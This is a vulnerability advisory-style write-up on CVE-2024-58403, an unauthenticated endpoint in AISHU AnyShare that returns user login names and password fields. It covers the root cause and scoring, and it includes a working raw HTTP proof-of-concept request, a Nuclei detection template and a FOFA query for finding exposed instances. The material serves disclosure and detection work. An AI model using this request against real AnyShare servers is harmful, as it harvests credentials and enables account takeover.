Introduction
A single unauthenticated POST request to an AnyShare instance can return the full user directory, including username, password and department fields, with no credentials required. VulnCheck, crediting the Shadowserver Foundation, reports that exploitation activity targeting this endpoint was first observed in the wild on 2024-12-25. That moves it from theoretical exposure to an issue with observed real world activity.
AnyShare is a content management and collaboration platform from Shanghai Aishu Information Technology (AISHU), covering enterprise document management, private cloud storage, synchronization, sharing and collaborative editing. AISHU claims more than 28,000 global customers, while its AnyShare Family 7 product page separately reports more than 4,000 global customers and more than 3 million users. These are vendor statements, and the two counts appear to refer to different scopes, but they point to a product with meaningful enterprise deployment.
Technical Information
The root cause of CVE-2024-58403 is a missing authentication check, classified as CWE-306 (Missing Authentication for a Critical Function). The affected function is the AnyShare user listing endpoint /api/ShareMgnt/Usrm_GetAllUsers. Instead of requiring an authenticated session before returning sensitive data, the endpoint processes the request and returns user records to any caller who can reach it over the network.
The request body is a two element JSON array [start, limit] that acts as a pagination range. The start value is the offset and the limit value is how many records to return. Because no authentication gate exists, an attacker can supply a wide range and retrieve the entire user table in one response.
The server responds with HTTP 200, a Content-Type of application/json, and a JSON array of user records. Reported fields include loginName, password, createTime, and directDeptInfo. The presence of loginName and password in the response is what turns this from a minor directory enumeration issue into a credential exposure issue.
The CVSS 4.0 vector published by VulnCheck is AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N. In plain terms: the issue is reachable over the network, requires low attack complexity, needs no privileges and no user interaction, and has high confidentiality impact with no integrity or availability impact in the scoring model.
One caveat worth stating. The sources reviewed do not establish whether the exposed password values are stored in plaintext, encrypted or hashed. They also do not confirm a downstream compromise such as backend login or account takeover as a verified outcome. The credential harvesting and subsequent login described in the PoC writeup represent the attack path, not an independently confirmed breach.
Attack flow
- The attacker identifies a reachable AnyShare instance, for example via the FOFA fingerprint
app="AISHU-AnyShare". - The attacker sends a single unauthenticated POST request to
/api/ShareMgnt/Usrm_GetAllUserswith a JSON array body such as[1,100]. - The server returns HTTP 200 with a JSON array of user records containing
loginName,password,createTime, anddirectDeptInfo. - The attacker harvests the returned credentials and, per the published writeup, uses them to log into the AnyShare backend.
Proof of Concept
A verifiable public PoC exists for this vulnerability. The manual version, published on the CN-SEC reproduction writeup dated 2024-11-27, is a single raw HTTP request:
POST /api/ShareMgnt/Usrm_GetAllUsers HTTP/1.1 Host: <target> User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/113.0.5672.127 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Encoding: gzip, deflate Accept-Language: zh-CN,zh;q=0.9 Connection: close [1,100]
A successful response returns status 200 with Content-Type: application/json and a body containing all user records, including usernames and passwords.
ProjectDiscovery also publishes a Nuclei template (aishu-anyshare-info-exposure.yaml, author s4e-io, marked verified: true). It issues the same single unauthenticated request and matches on sensitive data markers in the response:
http: - raw: - | POST /api/ShareMgnt/Usrm_GetAllUsers HTTP/1.1 Host: {{Hostname}} [1,100] matchers: - type: dsl dsl: - 'contains_all(body, "directDeptInfo\":", "loginName\":", "password\":", "createTime\":")' - 'contains(content_type, "application/json")' - 'status_code == 200' condition: and
Affected instances can be fingerprinted via the FOFA query app="AISHU-AnyShare". Both the manual raw request PoC and the automated Nuclei detection template are publicly available and target the exact vulnerable endpoint.
Affected Systems and Versions
VulnCheck identifies AnyShare builds through 2024-11 (November 2024) as affected. The sources reviewed do not name a specific patched build, so do not assume a build released after November 2024 is fixed unless AISHU confirms it addresses this endpoint.
Vendor Security History
The public material reviewed includes this information disclosure issue and a separate AnyShare advisory, CVE-2025-34160, describing unauthenticated remote code execution. That later advisory gives a CVSS 4.0 score of 10 and reports Shadowserver first observed exploitation on 11 July 2025. This confirms more than one published AnyShare security issue in the sources reviewed, but it is not enough to assess AISHU's overall security track record or the rate of defects across its products.
References
- NVD entry for CVE-2024-58403
- VulnCheck advisory: AnyShare Information Disclosure via Usrm_GetAllUsers Endpoint
- CN-SEC reproduction writeup
- ProjectDiscovery Nuclei template (GitHub)
- ProjectDiscovery Nuclei template (raw)
- VulDB entry for CVE-2024-58403
- OffSeq Threat Radar: CVE-2024-58403
- VulnCheck advisory: AnyShare ServiceAgent API Unauthenticated RCE (CVE-2025-34160)
- AnyShare information disclosure security notice (27 November 2024)
- AISHU corporate site
- AnyShare Family 7 product page



